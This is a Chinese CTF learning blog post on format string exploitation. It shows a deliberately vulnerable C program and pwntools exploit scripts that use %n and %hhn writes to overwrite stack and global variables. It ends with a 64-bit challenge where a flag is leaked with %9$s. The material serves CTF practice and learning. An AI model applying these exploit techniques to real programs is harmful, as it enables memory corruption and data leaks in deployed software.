pwn学习-格式化字符串的利用

覆盖栈内存 

所用例子

/* example/overflow/overflow.c */
#include <stdio.h>
int a = 123, b = 456;
int main() {
  int c = 789;
  char s[100];
  printf("%p\n", &c);
  scanf("%s", s);
  printf(s);
  if (c == 16) {
    puts("modified c.");
  } else if (a == 2) {
    puts("modified a for a small number.");
  } else if (b == 0x12345678) {
    puts("modified b for a big number!");
  }
  return 0;
}

GCC编译为32位。

首先输入AAAA与若干%p,确定我们输入的字符串在堆栈里的位置。这里数一下发现是第六个参数

所以使用exp

from pwn import *

#sh = process('./overflow')
overflow = ELF('./overflow')
c_addr = int(sh.recvuntil('\n',drop=True),16)

print hex(c_addr)
payload = p32(c_addr)+'%012d' +'%6$n'
sh.sendline(payload)
print sh.recv()
sh.interactive()

即可修改C的值为16,这里因为p32后的c_addr占据4个字节,%012d 为长度为12个字节的整数,不足则以0补全,所以长度加起来为16.所以可以写到第六个参数并且是c的地址里。将C改变为16

覆盖任意地址内存 

覆盖小数字

修改a为小数2

在IDA里查看到a的地址为0x804A028

构造的大概为 aa%k$naa+addr_a k为addr_a所在的参数位置

根据之前看 AAAA在第六个参数,即aa%k 在第六个 $naa即在第七个 所以addr_a在第八个参数

from pwn import *

sh = process('./overflow')
overflow = ELF('./overflow')
c_addr = int(sh.recvuntil('\n',drop=True),16)

payload = 'aa%8$naa' + p32(0x804A028)
sh.sendline(payload)
print sh.recv()
sh.interactive()

修改成功

覆盖大数字

利用%hh 将数字写入单字节地址是关键。

在IDA里找到b的地址

直接exp附注释

from pwn import *

sh = process('./overflow')
overflow = ELF('./overflow')
b_addr = 0x804A02c
payload = p32(b_addr) + p32(b_addr+1) + p32(b_addr+2) + p32(b_addr+3)  #分别向每个地址写入单字节值
#0x78 in b_addr
if len(payload) < 0x78:
	result = 0x78 - len(payload)
elif len(payload) == 0x78:
	result = 0
else:
	result = 256 + 0x78 - len(payload)  #256时候写入为0,所以最终值会模256
payload += '%' + str(result) +'c' + '%6$hhn'
result = 256+0x56-0x78 #因为之前已经输入了0x78个字符,转化为hh单字节字符的值会模256,所以这里的值会变成0x56个。以下类推。
payload +='%' + str(result) +'c' + '%7$hhn'
result = 256+0x34-0x56
payload +='%' + str(result) +'c' + '%8$hhn'
result = 256+0x12-0x34
payload +='%' + str(result) +'c' + '%9$hhn'
sh.sendline(payload)
print sh.recv()
sh.interactive()

 

成功修改,实现了一遍所有的利用,下次做例子。

例子

查看保护,发现开启了canary 与 NX,并且程序为64位

在IDA中查看

很典型的格式化字符串漏洞。

在GDB中调试,并在printf处下断点。

容易看出flag在堆栈里的第四个参数,但是64位参数先使用6个寄存器传递参数再使用堆栈传递参数。

fmt存储在RDI中为第一个参数,所以只需要再便宜9个参数即可到达flag。

即 输入 %9$s  即可泄露flag

exp

sh = process('./goodluck')

payload = '%9$s'

sh.recv()
sh.sendline(payload)
output  = sh.recv()
print output
sh.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值